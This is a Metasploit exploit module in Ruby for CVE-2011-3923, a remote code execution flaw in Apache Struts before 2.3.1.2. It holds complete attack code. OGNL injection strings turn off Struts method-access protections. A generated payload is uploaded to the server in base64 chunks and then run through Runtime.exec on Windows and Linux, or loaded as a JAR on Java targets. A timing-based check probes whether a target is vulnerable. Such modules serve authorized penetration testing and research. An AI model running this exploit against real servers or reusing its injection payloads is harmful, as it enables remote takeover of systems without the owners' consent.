##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
        'Description' => %q{
          This module exploits a remote command execution vulnerability in Apache Struts
          versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
          for the use of parentheses which in turn allows it to interpret parameter values as
          OGNL expressions during certain exception handling for mismatched data types of
          properties which allows remote attackers to execute arbitrary Java code via a
          crafted parameter.
        },
        'Author' => [
          'Meder Kydyraliev', # Vulnerability Discovery and PoC
          'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
          'mihi', # ARCH_JAVA support
          'Christian Mehlmauer' # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-3923'],
          [ 'OSVDB', '78501'],
          [ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
          [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
        ],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win'
            }
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DisclosureDate' => '2011-10-01',
        'DefaultTarget' => 2,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('PARAMETER', [ true, 'The parameter to perform injection against.', 'username']),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
        OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5]),
        OptString.new('GET_PARAMETERS', [ false, 'Additional GET Parameters to send. Please supply in the format "param1=a&param2=b". Do apply URL encoding to the parameters names and values if needed.', nil]),
        OptString.new('TMP_PATH', [ false, 'Overwrite the temp path for the file upload. Sometimes needed if the home directory is not writeable. Ensure there is a trailing slash!', nil])
      ]
    )
  end

  def parameter
    datastore['PARAMETER']
  end

  def temp_path
    return nil unless datastore['TMP_PATH']

    unless datastore['TMP_PATH'].end_with?('/') || datastore['TMP_PATH'].end_with?('\\')
      fail_with(Failure::BadConfig, 'You need to add a trailing slash/backslash to TMP_PATH')
    end
    datastore['TMP_PATH']
  end

  def get_parameter
    retval = {}
    return retval unless datastore['GET_PARAMETERS']

    splitted = datastore['GET_PARAMETERS'].split('&')
    return retval if splitted.nil? || splitted.empty?

    splitted.each do |item|
      name, value = item.split('=')
      # no check here, value can be nil if parameter is &param
      decoded_name = name ? Rex::Text.uri_decode(name) : nil
      decoded_value = value ? Rex::Text.uri_decode(value) : nil
      retval[decoded_name] = decoded_value
    end
    retval
  end

  def execute_command(cmd)
    junk = Rex::Text.rand_text_alpha(6)
    inject = '(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false),#_memberAccess["allowStaticMethodAccess"]'
    inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
    uri = normalize_uri(datastore['TARGETURI'])
    resp = send_request_cgi({
      'uri' => uri,
      'version' => '1.1',
      'method' => 'GET',
      'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }.merge(get_parameter)
    })
    resp
  end

  def exploit
    # Set up generic values.
    payload_exe = rand_text_alphanumeric(rand(4..7))

    append = false
    # Now arch specific...
    case target['Platform']
    when 'linux'
      pl_exe = generate_payload_exe
      path = temp_path || '/tmp/'
      payload_exe = "#{path}#{payload_exe}"
      chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{payload_exe}\".split(\"_\"))"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{payload_exe}\".split(\"_\"))"
    when 'java'
      payload_exe = "#{temp_path}#{payload_exe}.jar"
      pl_exe = payload.encoded_jar.pack
      exec_cmd = ''
      exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
      exec_cmd << '#q.setAccessible(true),#q.set(null,true),'
      exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
      exec_cmd << '#q.setAccessible(true),#q.set(null,false),'
      exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{payload_exe}').toURI().toURL()}),"
      exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
      exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
      exec_cmd << 'null,new java.lang.Object[]{new java.lang.String[0]})'
    when 'win'
      pl_exe = generate_payload_exe
      path = temp_path || './'
      payload_exe = "#{path}#{payload_exe}.exe"
      exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"
    else
      fail_with(Failure::NoTarget, 'Unsupported target platform!')
    end

    print_status("Uploading exploit to #{payload_exe}")
    # Now with all the arch specific stuff set, perform the upload.
    # 109 = length of command string plus the max length of append.
    sub_from_chunk = 109 + payload_exe.length + datastore['TARGETURI'].length + parameter.length
    chunk_length = 2048 - sub_from_chunk
    chunk_length = ((chunk_length / 4).floor) * 3
    while pl_exe.length > chunk_length
      java_upload_part(pl_exe[0, chunk_length], payload_exe, append)
      pl_exe = pl_exe[chunk_length, pl_exe.length - chunk_length]
      append = true
    end
    java_upload_part(pl_exe, payload_exe, append)
    print_status('Executing payload')
    execute_command(chmod_cmd) if target['Platform'] == 'linux'
    execute_command(exec_cmd)
    register_files_for_cleanup(payload_exe)
  end

  def java_upload_part(part, filename, append = false)
    cmd = ''
    cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
    cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
    cmd << '#f.close()'
    execute_command(cmd)
  end

  def check
    sleep_time = datastore['CHECK_SLEEPTIME']
    check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
    t1 = Time.now
    vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
    response = execute_command(check_cmd)
    t2 = Time.now
    delta = t2 - t1

    if response.nil?
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    elsif delta < sleep_time
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    else
      return Exploit::CheckCode::Appears('The target appears to be vulnerable')
    end
  end
end
